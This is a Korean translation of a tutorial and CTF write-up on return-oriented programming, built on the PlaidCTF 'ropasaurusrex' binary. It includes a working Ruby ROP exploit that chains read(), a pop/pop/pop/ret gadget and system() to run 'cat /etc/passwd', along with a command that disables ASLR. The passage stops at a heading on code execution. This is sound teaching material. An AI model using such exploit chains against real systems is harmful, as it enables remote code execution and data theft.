SkullSecurityRon Bowes가 쓴 return-oriented programming 입문서가 있어 번역했다.


CTF 대회에서 가장 기분 나쁜 순간 중 하나는 나중에 깨달을 때죠. 제가 cnot에 쓴 시간에 비할 바는 아니지만, 한 문제에 몇 시간을 보내고 나서야 사실은 꽤 쉬운 문제라는 걸 깨닫죠. 하지만 짜증나는 문제이기도 합니다. 결국엔 그게 ROP라고 할 수 있습니다!

어쨌든, 한동안 잘못된 방법(정확히 말하자면 ASLR을 우회할 생각을 하지 않았습니다)으로 많은 시간을 허비했지만, 우리가 이 문제를 풀기까지 거쳤던 과정은 보여주기에 적합한 방식입니다. 처음엔 ASLR을 고려하지 않고, 그 다음엔 ASLR을 고려해서 푸는 방식을 설명하도록 하죠.

먼저, 파트너가 되어 준 HikingPete에게 감사를 표합니다. 그의 도움으로 우리는 이 퍼즐을 훨씬 빨리 풀 수 있었고, 잠시 세계 3위를 차지했습니다!

우연히도 전 ROP에 대한 글을 쓸 생각이었습니다. 심지어 설명에 사용할 취약한 데모 프로그램까지 만들고 있었죠! 하지만 PlaidCTF에서 문제가 나왔으니 이 문제를 사용해 설명하도록 하겠습니다. 이건 단순한 문제 풀이가 아니고, 상당히 상세한 return-oriented programming 입문서가 될 것입니다. 만약 CTF 문제를 푸는 과정이 더 궁금하다면, 제 cnot 문제 풀이를 보세요. :)

도대체 ROP가 뭔가요?

ROP(return-oriented programming)는 고전적인 취약점 공격 ‘return into libc’를 가리키는 요즘 단어입니다. 이 아이디어는 프로그램을 마음대로 조종할 수 있는 오버플로나 다른 유형의 취약점을 발견했지만, 임의의 코드를 실행 가능한 메모리 영역에 올릴 수 있는 확실한 방법이 없을 때(DEP 또는 데이터 실행 방지(Data Execution Prevention), 사용자가 원하는 곳에서 코드를 실행시킬 수 없다.)를 위한 것입니다.

ROP를 이용하면 실행 가능한 메모리 영역에 있는 코드 중 ‘return’으로 끝나는 조각들을 고를 수 있습니다. 그 조각들이 간단할 때도 있고, 복잡할 때도 있죠. 다행히도 이 예제에서는 간단한 것만 있으면 됩니다!

하지만 이건 너무 앞서나가고 있는 겁니다. 일단 스택에 대해 좀 더 배워봅시다! 스택을 설명하는 데 엄청난 시간을 쏟진 않을 테니, 잘 모르겠다면 제 어셈블리 튜토리얼을 참고하세요.

스택

스택에 관해 한 번쯤은 들어봤을 겁니다. 스택 오버플로? Smashing the stack? 하지만 그게 무엇을 의미하는 걸까요? 이미 알고 있다면, 간단한 입문서의 느낌으로 보아도 되고, 바로 다음 섹션으로 넘어가도 됩니다. 원하는 대로 하세요!

단순한 개념을 설명해보겠습니다. 함수 A()가 함수 B()를 두 개의 인자 1, 2와 함께 호출한다고 합시다. 그리고 B()C()를 두 개의 인자 3, 4와 함께 호출한다고 하는 겁니다. C()가 실행 중일 때, 스택은 이렇게 될 겁니다.

+----------------------+
|         ...          | (높은 주소)
+----------------------+

+----------------------+ <-- 'A'의 스택 프레임 시작
|   [return address]   | <-- 'A'를 호출한 주소
+----------------------+
|   [frame pointer]    |
+----------------------+
|   [local variables]  |
+----------------------+

+----------------------+ <-- 'B'의 스택 프레임 시작
|         2 (parameter)|
+----------------------+
|         1 (parameter)|
+----------------------+
|   [return address]   | <-- 'B'가 돌아갈 주소
+----------------------+
|   [frame pointer]    |
+----------------------+
|   [local variables]  |
+----------------------+

+----------------------+ <-- 'C'의 스택 프레임 시작
|         4 (parameter)|
+----------------------+
|         3 (parameter)|
+----------------------+
|   [return address]   | <-- 'C'가 돌아갈 주소
+----------------------+

+----------------------+
|         ...          | (낮은 주소)
+----------------------+

이 정도 깊이의 개념에 익숙하지 않은 사람이라면 꽤 어려운 (그러나 볼 만한?) 것이기 때문에 조금 설명하도록 하겠습니다. 함수를 호출할 때마다, 새로운 ‘스택 프레임’이 만들어집니다. ‘프레임’은 단순히 말해 함수가 자신을 위해 스택에 할당한 메모리입니다. 사실은 할당조차 하지 않으며, 그저 끝에 뭔가 추가하고 esp 레지스터를 업데이트하는 것뿐입니다. 그러면 이 함수가 호출하는 모든 함수는 자신의 스택 프레임이 어디에서 시작해야 하는지 알게 됩니다(esp, 스택 포인터이며 이는 기본적으로 변수다).

이 스택 프레임은 현재 함수의 상태(context)를 담고 있고, 당신이 쉽게 a) 새로 호출한 함수의 프레임을 만들고, b) 이전 프레임으로 돌아갈 수 있게 합니다(예를 들어, 함수에서 반환한 경우). esp(스택 포인터)는 위아래로 움직이지만 항상 스택의 시작점(가장 낮은 주소)를 가리킵니다.

다른 함수를 호출했을 때나 같은 함수를 재귀적으로 한 번 더 호출할 때 원래 함수의 지역 변수들은 어디로 가는지 궁금한 적 있나요? 아마도 없겠죠! 하지만 생각해봤다면, 이제 알 겁니다. 지역 변수는 다시 돌아올 예전 스택 프레임에 머물게 됩니다!

이제 스택에 무엇이 저장되는지 스택에 들어가는 순서대로 봅시다. 헷갈리게도 스택을 다른 방향으로 그릴 수도 있습니다. 이 글에서는 스택이 위에서 아래로 늘어나기에 오래된/호출하는 함수는 위에, 새로운/호출된 함수는 아래에 있습니다.

  • 인자(Parameters): 호출한 함수가 넘긴 인자들. ROP에서 정말 중요합니다.
  • 반환 주소(Return address): 모든 함수는 자신이 끝나면 어디로 가야 하는지 알아야 합니다. 함수를 호출하면, 그 함수에 진입하기 앞서 호출 직후의 명령어(instruction) 주소가 스택에 들어갑니다. 반환하는 순간, 그 주소를 스택에서 뽑고, 그리로 점프합니다. 이건 ROP에서 정말 중요합니다.
  • 저장된 프레임 포인터(Saved frame pointer): 이건 완전히 무시합시다. 정말로요. 예외는 있지만 컴파일러가 일반적으로 하는 일이고, 이에 대해 다시 언급하지는 않을 겁니다.
  • 지역 변수(Local variables): 함수는 지역 변수를 저장하기 위해 필요한 만큼 (적당한 범위 내에서) 메모리를 할당할 수 있습니다. 지역 변수는 여기에 위치합니다. ROP와는 전혀 관계 없으며 무시해도 안전합니다.

그래서 요약하자면, 함수가 호출되면 인자들이 스택에 들어가고, 그 뒤에 반환 주소가 들어갑니다. 함수가 반환하면, 반환 주소를 스택에서 뽑아 그리로 점프합니다. 스택에 들어갔던 인자들은 호출하는 함수에 의해 지워지지만, 예외도 있습니다. 호출하는 함수가 인자를 지운다고 가정합시다. 즉, 호출된 함수가 자신의 인자를 지우지 않는다고 가정하는 거죠. 이건 이 문제가 (그리고 Linux 대부분의 역사에서) 그렇게 동작하기 때문입니다.

천국, 지옥, 스택 프레임

ROP를 알기 위해 이해해야 하는 가장 중요한 건, 함수의 스택 프레임은 그 함수의 온 우주라는 것입니다. 스택은 함수의 신이고, 인자는 십계명이고, 지역 변수는 죄며, 프레임 포인터는 성경이고, 반환 주소는 천국입니다(지옥일 수도 있겠죠). 모든 건 인텔의 책, 3장, 19-26구절에 있습니다(주: 사실 아니니 보는 수고를 할 필요는 없습니다).

당신이 sleep() 함수를 호출하고, 첫 번째 줄에 왔다고 합시다. 그 스택 프레임은 이렇게 생겼을 겁니다.

          ...            <-- 알지도 못하고, 신경 쓸 필요도 없는 영역 (높은 주소)
+----------------------+
|      [seconds]       |
+----------------------+
|   [return address]   | <-- esp는 여기를 가리킵니다.
+----------------------+
          ...            <-- 할당되지 않았고, 신경 쓸 필요 없는 영역 (낮은 주소)

sleep()이 시작하는 순간, 스택 프레임은 지금 보이는 게 전부입니다. 이 스택 프레임은 프레임 포인터를 저장할 수도 있고(이런, 말 안 하기로 해 놓고 두 번이나 말해버렸네요. 다시는 언급하지 않을 것을 맹세하죠) esp에서 몇 바이트 뺌으로써(즉, esp 포인터를 더 낮은 주소로 만듦으로써) 지역 변수를 위한 공간을 확보할 수도 있습니다. esp 아래에 새 프레임을 만드는 다른 함수를 호출할 수도 있죠. 이 스택 프레임은 여러 가지 다양한 일을 할 수 있습니다. 그게 무엇이든지 간에, sleep()이 시작하면, 스택 프레임은 이 함수의 세계를 만들어냅니다.

sleep()이 반환하면, 결국 이 상태가 될 겁니다.

          ...            <-- 알지도 못하고, 신경 쓸 필요도 없는 영역 (높은 주소)
+----------------------+
|      [seconds]       | <-- esp는 여기를 가리킵니다.
+----------------------+
| [old return address] | <-- 이제 여기부터 할당되지 않았고, 신경 쓸 필요 없는 영역
+----------------------+
          ...            (낮은 주소)

당연히 호출한 함수는 sleep()이 반환하고 나면 esp에 4를 더해 ‘seconds’를 스택에서 지웁니다. 똑같은 일을 하기 위해 어떻게 pop/pop/ret을 사용해야 하는지는 뒤에서 이야기하겠습니다.

제대로 동작하는 시스템에서는, 이게 작동 원리입니다. 안전한 추정이죠. ‘seconds’ 값은 스택에 들어갔을 때 스택에만 있을 것이고, 반환 주소는 호출된 곳을 가리킬 거고요. 암요. 달리 어떤 방법으로 그리 갈 수 있겠어요?

스택 주무르기

…뭐, 물어봤으니 대답해주도록 하죠. 우리 모두 ‘스택 오버플로’에 대해 들어봤습니다. 스택에 있는 변수를 덮어쓰는 것과 관련이 있죠. 그게 무슨 뜻일까요? 이런 스택 프레임이 있다고 합시다.

          ...            <-- 알지도 못하고, 신경 쓸 필요도 없는 영역 (높은 주소)
+----------------------+
|      [seconds]       |
+----------------------+
|   [return address]   | <-- esp는 여기를 가리킵니다.
+----------------------+
|     char buf[16]     |
|                      |
|                      |
|                      |
+----------------------+
          ...            (낮은 주소)

변수 buf의 길이는 16바이트입니다. 만약 프로그램이 buf의 17번째 바이트(즉, buf[16])에 쓰려고 하면 어떻게 될까요? 반환 주소의 마지막 바이트(리틀 엔디언)에 쓰게 됩니다. 18번째 바이트는 반환 주소의 끝에서 두 번째 바이트에 쓰게 되고, 그런 식이죠. 이렇게 우리는 우리가 원하는 곳으로 반환 주소를 바꿀 수 있습니다. 원하는 곳 어디든. 함수가 반환하면, 어디로 갈까요? 함수는 아마 자신이 가야 할 곳으로 가고 있다고 생각하겠죠. 완벽한 세계에서는, 그럴 겁니다. 하지만 실은 아니죠! 이 경우에는, 공격자가 원하는 곳 어디로든지 갈 수 있습니다. 공격자가 0으로 점프하라고 하면, 0으로 점프하고 크래시를 일으킬 겁니다. 공격자가 0x41414141(“AAAA”)로 점프하라고 하면, 그리로 점프하고 아마도 크래시를 일으킬 겁니다. 공격자가 스택으로 점프하라고 하면… 음, 이건 좀 복잡해지네요…

DEP

전통적으로, 공격자는 스택에 코드를 넣을 수 있었기 때문에(어찌 되었건, 코드는 그저 바이트 뭉치일 뿐입니다!), 반환 주소가 스택을 가리키도록 바꿔 왔습니다. 하지만 그건 시스템을 공격하는 일반적이고 쉬운 방법이었기 때문에, OS 회사의 나쁜 자식들이(농담이에요, 전 여러분을 사랑해요 :)) 데이터 실행 방지, DEP를 통해 이를 막았습니다. DEP가 적용된 어떤 시스템이건, 스택에서, 좀 더 일반적으로는 공격자가 쓰기가 가능한 어떤 곳에서도 코드를 실행할 수 없습니다. 그렇지 않으면, 크래시를 일으키죠.

그러면 코드를 실행할 권한도 없이 도대체 어떻게 코드를 실행할 수 있을까요!?

이제 그걸 할 겁니다. 하지만 먼저 이 문제의 취약점이 뭔지 봅시다!

취약점

IDA에서 막 뽑아낸 취약한 함수입니다.

.text:080483F4vulnerable_function proc near
.text:080483F4
.text:080483F4buf             = byte ptr -88h
.text:080483F4
.text:080483F4         push    ebp
.text:080483F5         mov     ebp, esp
.text:080483F7         sub     esp, 98h
.text:080483FD         mov     dword ptr [esp+8], 100h ; nbytes
.text:08048405         lea     eax, [ebp+buf]
.text:0804840B         mov     [esp+4], eax    ; buf
.text:0804840F         mov     dword ptr [esp], 0 ; fd
.text:08048416         call    _read
.text:0804841B         leave
.text:0804841C         retn
.text:0804841Cvulnerable_function endp

어셈블리를 모른다면, 좀 겁먹을지도 모릅니다. 하지만 사실 간단해요. 같은 함수의 C 코드입니다.

ssize_t __cdecl vulnerable_function()
{
  char buf[136];
  return read(0, buf, 256);
}

256바이트를 읽어 136바이트 버퍼에 넣네요. 즐거웠어요 스택 씨!

프로그램을 실행함으로써 쉽게 확인할 수 있습니다. ‘A’ 뭉치를 파이프로 넣고, 어떻게 되는지 봅시다.

ron@debian-x86 ~ $ ulimit -c unlimited
ron@debian-x86 ~ $ perl -e "print 'A'x300" | ./ropasaurusrex
Segmentation fault (core dumped)
ron@debian-x86 ~ $ gdb ./ropasaurusrex core
[...]
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)

간단히 말해서, 우리가 반환 주소를 글자 A 4개(0x41414141 = “AAAA”)로 덮어썼다는 말입니다.

이 시점에서 정확히 뭘 조종하고 있는 건지 알아내기 위한 좋은 방법이 있고 나쁜 방법이 있습니다. 전 나쁜 방법을 썼죠. 버퍼 끝에 “BBBB”를 넣고 0x42424242(“BBBB”)에서 크래시를 일으킬 때까지 ‘A’를 지웠습니다.

ron@debian-x86 ~ $ perl -e "print 'A'x140;print 'BBBB'" | ./ropasaurusrex
Segmentation fault (core dumped)
ron@debian-x86 ~ $ gdb ./ropasaurusrex core
#0  0x42424242 in ?? ()

이걸 좀 더 ‘잘’(더 천천히) 하고 싶으면, Metasploit의 pattern_create.rbpattern_offset.rb를 보세요. 이건 추측이 오래 걸리는 작업일 때 굉장히 좋지만, 이 문제의 경우에는 추측과 확인이 빨라 저는 쓰지 않았습니다.

취약점 공격 스크립트 제작 시작하기

가장 먼저 해야 할 일은 ropasaurusrex를 네트워크 서비스로 실행시키는 겁니다. CTF 주최 측은 xinetd를 썼지만, 우리는 우리의 목적에 알맞은 netcat을 쓸 겁니다.

$ while true; do nc -vv -l -p 4444 -e ./ropasaurusrex; done
listening on [any] 4444 ...

이제부터 localhost:4444를 취약점 공격 대상으로 쓸 수도 있고, 실제 서버에도 작용하는지 테스트 할 수도 있습니다.

ASLR을 끄고 싶다면 다음을 실행하세요.

$ sudo sysctl -w kernel.randomize_va_space=0

이건 당신의 시스템을 공격당하기 쉽게 만든다는 것에 유의하세요. 그러니 이걸 실험실 환경 바깥에서 하는 건 추천하지 않습니다!

취약점 공격 스크립트의 초기 버전을 작성한 루비 코드입니다.

$ cat ./sploit.rb
require 'socket'

s = TCPSocket.new("localhost", 4444)

# Generate the payload
payload = "A"*140 +
  [
    0x42424242,
  ].pack("I*") # Convert a series of 'ints' to a string

s.write(payload)
s.close()

ruby ./sploit.rb를 통해 실행시키면 서비스 크래시를 볼 겁니다.

connect to [127.0.0.1] from debian-x86.skullseclabs.org [127.0.0.1] 53451
Segmentation fault (core dumped)

그리고 gdb를 통해 이게 알맞은 위치에서 크래시를 일으키는지 확인할 수 있습니다.

gdb --quiet ./ropasaurusrex core
[...]
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()

이게 취약점 공격의 시작입니다!

ASLR로 시간을 낭비하는 방법

이 섹션을 ‘시간 낭비’라고 하는 이유는, 제가 그때 ASLR이 적용되어 있다는 것을 깨닫지 못했기 때문입니다. 하지만 ASLR이 적용되어 있지 않다고 가정하는 것은 이 문제를 훨씬 교육하기 좋은 퍼즐로 만들어줍니다. 그러니 지금은 ASLR에 대해 걱정하지 맙시다. 실제로, ASLR을 정의조차 하지 맙시다. 다음 섹션에 나올 겁니다.

좋습니다, 이제 뭘 하면 좋을까요? 취약한 프로세스를 가지고 있고, libc 공유 라이브러리도 있죠. 다음 단계는 뭘까요?

궁극적인 목표는 시스템 명령어를 실행하는 것입니다. stdin과 stdout이 모두 소켓에 연결되어 있으니까, 예를 들어 system("cat /etc/passwd")를 실행할 수 있다면, 끝난 거죠! 이걸 할 수 있으면, 어떤 명령어든 실행할 수 있습니다. 하지만 그건 두 가지 조건을 필요로 합니다.

  1. cat /etc/passwd 문자열을 메모리 어딘가에 넣기
  2. system() 함수 실행하기

메모리에 문자열 넣기

메모리에 문자열을 넣는 건 실제로 두 소단계를 필요로 합니다.

  1. 우리가 쓸 수 있는 메모리를 찾기
  2. 그 메모리에 쓸 수 있는 함수 찾기

무리한 요구라고요? 그렇지 않아요! 중요한 것부터 합시다. 우리가 읽고 쓸 수 있는 메모리를 찾아봅시다! 가장 명백한 곳은 .data 섹션이죠.

ron@debian-x86 ~ $ objdump -x ropasaurusrex  | grep -A1 '\.data'
 23 .data         00000008  08049620  08049620  00000620  2**2
                   CONTENTS, ALLOC, LOAD, DATA

오 이런, .data는 8바이트밖에 되지 않네요. 이걸론 부족해요! 이론적으로, 충분히 길고, 쓰기가 가능하며, 사용되지 않은 주소라면 우리에게 충분합니다. objdump -x의 출력에서, 딱 알맞아 보이는 .dynamic 섹션을 발견했습니다.


 20 .dynamic      000000d0  08049530  08049530  00000530  2**2
                   CONTENTS, ALLOC, LOAD, DATA

.dynamic 섹션은 동적 링크 정보를 담고 있습니다. 우리가 하려는 것에 그건 필요 없으니 주소 0x08049530을 덮어쓰기로 합시다.

다음 단계는 주소 0x08049530에 명령어 문자열을 쓸 수 있는 함수를 찾는 것입니다. 가장 쓰기 편리한 함수는 라이브러리보다 실행 파일 자체에 들어 있는 것인데, 실행 파일 안의 함수는 시스템에 따라 변하지 않기 때문입니다. 무엇이 있는지 살펴봅시다.

ron@debian-x86 ~ $ objdump -R ropasaurusrex

ropasaurusrex:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049600 R_386_GLOB_DAT    __gmon_start__
08049610 R_386_JUMP_SLOT   __gmon_start__
08049614 R_386_JUMP_SLOT   write
08049618 R_386_JUMP_SLOT   __libc_start_main
0804961c R_386_JUMP_SLOT   read

즉시 사용 가능한 read()write()를 찾았습니다. 아주 유용하죠! read() 함수는 소켓에서 데이터를 읽고 그걸 메모리에 쓸 겁니다. 프로토타입은 이런 식일 겁니다.

ssize_t read(int fd, void *buf, size_t count);

당신이 read() 함수에 진입했을 때, 이런 스택을 원할 겁니다.

+----------------------+
|         ...          | - 다른 함수들이 여기 올 것이므로 상관없음
+----------------------+

+----------------------+ <-- read()의 스택 프레임 시작
|     size_t count     | - count, strlen("cat /etc/passwd")
+----------------------+
|      void *buf       | - 쓰기가 가능한 메모리, 0x08049530
+----------------------+
|        int fd        | - 'stdin'(0)이어야 한다.
+----------------------+
|   [return address]   | - 'read'가 돌아갈 주소
+----------------------+

+----------------------+
|         ...          | - read()가 지역 변수를 위해 사용할 것이므로 상관없음
+----------------------+

취약점 공격 스크립트를 이렇게 업데이트했습니다(설명은 주석에 있습니다).

$ cat sploit.rb
require 'socket'

s = TCPSocket.new("localhost", 4444)

# The command we'll run
cmd = ARGV[0] + "\0"

# From objdump -x
buf = 0x08049530

# From objdump -D ./ropasaurusrex | grep read
read_addr = 0x0804832C
# From objdump -D ./ropasaurusrex | grep write
write_addr = 0x0804830C

# Generate the payload
payload = "A"*140 +
  [
    cmd.length, # number of bytes
    buf,        # writable memory
    0,          # stdin
    0x43434343, # read's return address

    read_addr # Overwrite the original return
  ].reverse.pack("I*") # Convert a series of 'ints' to a string

# Write the 'exploit' payload
s.write(payload)

# When our payload calls read() the first time, this is read
s.write(cmd)

# Clean up
s.close()

공격 대상에 실행해 봅시다.

ron@debian-x86 ~ $ ruby sploit.rb "cat /etc/passwd"

그리고 크래시를 일으키는 걸 확인합니다.

listening on [any] 4444 ...
connect to [127.0.0.1] from debian-x86.skullseclabs.org [127.0.0.1] 53456
Segmentation fault (core dumped)

read()의 반환 주소(0x43434343)에서 크래시를 일으켰고 명령어를 메모리 0x08049530에 썼다는 걸 확인합니다.

$ gdb --quiet ./ropasaurusrex core
[...]
Program terminated with signal 11, Segmentation fault.
#0  0x43434343 in ?? ()
(gdb) x/s 0x08049530
0x8049530:       "cat /etc/passwd"

완벽해요!

실행하기

이제 cat /etc/passwd를 메모리에 썼고, system()을 호출해서 저 주소를 가리키면 됩니다. 거의 다 됐습니다. ASLR이 적용되지 않았다면 쉽죠. 실행 파일에는 libc가 링크되어 있습니다.

$ ldd ./ropasaurusrex
        linux-gate.so.1 =>  (0xb7703000)
        libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb75aa000)
        /lib/ld-linux.so.2 (0xb7704000)

그리고 libc.so.6system() 함수가 포함되어 있습니다.

$ objdump -T /lib/i686/cmov/libc.so.6 | grep system
000f5470 g    DF .text  00000042  GLIBC_2.0   svcerr_systemerr
00039450 g    DF .text  0000007d  GLIBC_PRIVATE __libc_system
00039450  w   DF .text  0000007d  GLIBC_2.0   system

디버거를 통해 ropasaurusrex에 로드된 system() 주소를 알아낼 수 있습니다.

$ gdb --quiet ./ropasaurusrex core
[...]
Program terminated with signal 11, Segmentation fault.
#0  0x43434343 in ?? ()
(gdb) x/x system
0xb7ec2450 <system>:    0x890cec83

system()은 인자를 하나만 받으므로, 스택 프레임을 만드는 건 쉬운 편입니다.

+----------------------+
|         ...          | - 다른 함수들이 여기 올 것이므로 상관없음
+----------------------+

+----------------------+ <-- system()의 스택 프레임 시작
|      void *arg       | - 버퍼, 0x08049530
+----------------------+
|   [return address]   | - 'system'이 돌아갈 주소
+----------------------+
|         ...          | - system()이 지역 변수를 위해 사용할 것이므로 상관없음
+----------------------+

이제 이걸 read() 프레임 위에 쌓으면 제법 괜찮아 보일 겁니다.

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()의 스택 프레임 시작
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- read()의 프레임 시작
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of system]  | <-- 스택 포인터
+----------------------+

+----------------------+
|         ...          |
+----------------------+

read()가 반환하는 순간, 스택 포인터는 위에 표시한 곳에 있을 겁니다. read()가 반환하면, 반환 주소를 스택에서 뽑아 그리로 점프하죠. 반환하면 스택은 이렇게 될 겁니다.

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()의 프레임 시작
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- read()의 프레임 시작
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        | <-- 스택 포인터
+----------------------+
| [address of system]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

어라, 이러면 안 되죠! system()에 진입할 때, 스택 포인터는 우리가 원하는 system() 프레임 바닥이 아닌 read() 프레임의 안쪽을 가리키고 있습니다. 어떻게 해야 할까요?

사실, ROP 취약점 공격을 수행할 때, pop/pop/ret이라는 굉장히 중요한 가젯이 있습니다. 이 경우엔 pop/pop/pop/ret이며 이걸 줄여 ‘pppr’이라고 합시다. 스택을 비우기에 충분한 ‘pop’들 뒤에 return이라는 것만 기억하세요.

스택에서 원하지 않는 것들을 지우기 위해 pop/pop/pop/ret을 사용합니다. read()는 인자를 3개 받으므로, 스택에서 그 셋을 모두 뽑은 다음 반환해야 합니다. 설명을 위해 read()pop/pop/pop/ret으로 반환한 직후의 스택을 그려보자면 이렇습니다.

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()의 프레임 시작
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret을 위한 특별한 프레임
| [address of system]  |
+----------------------+

+----------------------+ <-- read()의 프레임 시작
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        | <-- 스택 포인터
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

‘pop/pop/pop/ret’이 실행되고, 반환하기 직전엔 다음과 같습니다.

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()의 프레임 시작
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret의 프레임
| [address of system]  | <-- 스택 포인터
+----------------------+

+----------------------+
|     size_t count     | <-- read()의 프레임
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

반환하고 나면, 정확히 우리가 원하는 것을 얻을 수 있습니다.

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()의 프레임 시작
|      void *arg       |
+----------------------+
|   [return address]   | <-- 스택 포인터
+----------------------+

+----------------------+ <-- pop/pop/pop/ret의 프레임
| [address of system]  |
+----------------------+

+----------------------+ <-- read()의 프레임 시작
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

pop/pop/pop/retobjdump를 이용하면 어렵지 않게 찾을 수 있습니다.

$ objdump -d ./ropasaurusrex | egrep 'pop|ret'
[...]
 80484b5:       5b                      pop    ebx
 80484b6:       5e                      pop    esi
 80484b7:       5f                      pop    edi
 80484b8:       5d                      pop    ebp
 80484b9:       c3                      ret

이건 다음 함수를 실행할 때 1~4개의 인자를 스택에서 지울 수 있게 해줍니다. 완벽해요!

그리고 이걸 직접 따라해 보고 있다면, pop들이 연속한 주소에 있어야 한다는 걸 기억하세요. 그래서 egrep으로 찾는 건 약간 위험합니다.

이제 read()가 사용한 세 개의 인자를 지우기 위해 세 개의 popret이 필요할 때, 주소 0x80484b6을 사용하면 됩니다. 그러면 스택을 이렇게 만들겠죠.

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()의 프레임 시작
|      void *arg       | - 0x08049530 (버퍼)
+----------------------+
|   [return address]   | - 0x44444444
+----------------------+

+----------------------+
| [address of system]  | - 0xb7ec2450
+----------------------+

+----------------------+ <-- read()의 프레임 시작
|     size_t count     | - strlen(cmd)
+----------------------+
|      void *buf       | - 0x08049530 (버퍼)
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  | - 0x080484b6
+----------------------+

+----------------------+
|         ...          |
+----------------------+

원격 서버에서 보내는 걸 받기 위해 s.read()를 취약점 공격 스크립트 마지막에 추가합시다. 현재 스크립트는 다음과 같습니다.

require 'socket'

s = TCPSocket.new("localhost", 4444)

# The command we'll run
cmd = ARGV[0] + "\0"

# From objdump -x
buf = 0x08049530

# From objdump -D ./ropasaurusrex | grep read
read_addr = 0x0804832C
# From objdump -D ./ropasaurusrex | grep write
write_addr = 0x0804830C
# From gdb, "x/x system"
system_addr = 0xb7ec2450
# From objdump, "pop/pop/pop/ret"
pppr_addr = 0x080484b6

# Generate the payload
payload = "A"*140 +
  [
    # system()'s stack frame
    buf,         # writable memory (cmd buf)
    0x44444444,  # system()'s return address

    # pop/pop/pop/ret's stack frame
    system_addr, # pop/pop/pop/ret's return address

    # read()'s stack frame
    cmd.length,  # number of bytes
    buf,         # writable memory (cmd buf)
    0,           # stdin
    pppr_addr,   # read()'s return address

    read_addr # Overwrite the original return
  ].reverse.pack("I*") # Convert a series of 'ints' to a string

# Write the 'exploit' payload
s.write(payload)

# When our payload calls read() the first time, this is read
s.write(cmd)

# Read the response from the command and print it to the screen
puts(s.read)

# Clean up
s.close()

그리고 실행하게 되면, 예상한 결과를 얻습니다.

$ ruby sploit.rb "cat /etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...

그리고 코어 덤프를 보면, 예상한 대로 0x44444444에서 크래시를 일으키고 있습니다.

끝났습니다. 그렇죠?

실은 아닙니다!

이 취약점 공격 스크립트는 제 테스트 기기에서 완벽하게 작동하지만, ASLR이 적용되었다면 실패합니다.

$ sudo sysctl -w kernel.randomize_va_space=1
kernel.randomize_va_space = 1
ron@debian-x86 ~ $ ruby sploit.rb "cat /etc/passwd"

여기서부터 조금 더 복잡해집니다. 한번 해봅시다!

ASLR이 뭔가요?

ASLR(주소 공간 레이아웃 불규칙화(address space layout randomization))은 FreeBSD를 제외한 현대 시스템에 구현된 방어 기법으로, 라이브러리가 로드 되는 주소를 불규칙하게 바꿉니다. 그 예로, ropasaurusrex를 두 번 실행하고 system()의 주소를 알아내 봅시다.

ron@debian-x86 ~ $ perl -e 'printf "A"x1000' | ./ropasaurusrex
Segmentation fault (core dumped)
ron@debian-x86 ~ $ gdb ./ropasaurusrex core
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/x system
0xb766e450 <system>:    0x890cec83

ron@debian-x86 ~ $ perl -e 'printf "A"x1000' | ./ropasaurusrex
Segmentation fault (core dumped)
ron@debian-x86 ~ $ gdb ./ropasaurusrex core
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/x system
0xb76a7450 <system>:    0x890cec83

system()의 주소가 0xb766e450에서 0xb76a7450으로 바뀐 것을 보세요. 이게 문제입니다!

ASLR 정복

자, 우린 뭘 알고 있나요? 사실, 바이너리 자체는 ASLR이 적용되지 않아서, 유용하게도 거기 있는 모든 주소는 그대로 머물러 있다고 생각할 수 있습니다. 아주 중요하게도, 재배치(relocation) 테이블은 같은 주소에 남아있습니다.

$ objdump -R ./ropasaurusrex

./ropasaurusrex:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049600 R_386_GLOB_DAT    __gmon_start__
08049610 R_386_JUMP_SLOT   __gmon_start__
08049614 R_386_JUMP_SLOT   write
08049618 R_386_JUMP_SLOT   __libc_start_main
0804961c R_386_JUMP_SLOT   read

이렇게 바이너리 안에 있는 read()write()의 주소를 알게 되었습니다. 이게 뭘 의미할까요? 바이너리가 실행 중일 때 이들의 값을 살펴봅시다.

$ gdb ./ropasaurusrex
(gdb) run
^C
Program received signal SIGINT, Interrupt.
0xb7fe2424 in __kernel_vsyscall ()
(gdb) x/x 0x0804961c
0x804961c:      0xb7f48110
(gdb) print read
$1 = {<text variable, no debug info>} 0xb7f48110 <read>

보세요… read()를 가리키는 포인터가 우리가 알고 있는 메모리 주소에 있습니다! 이걸로 뭘 할지 궁금한가요…? 힌트를 하나 드리자면, 우린 역시 주소를 알고 있는 write() 함수를 사용해 임의의 메모리에서 데이터를 가져와 소켓에 쓸 수 있습니다.

드디어, 코드 실행!

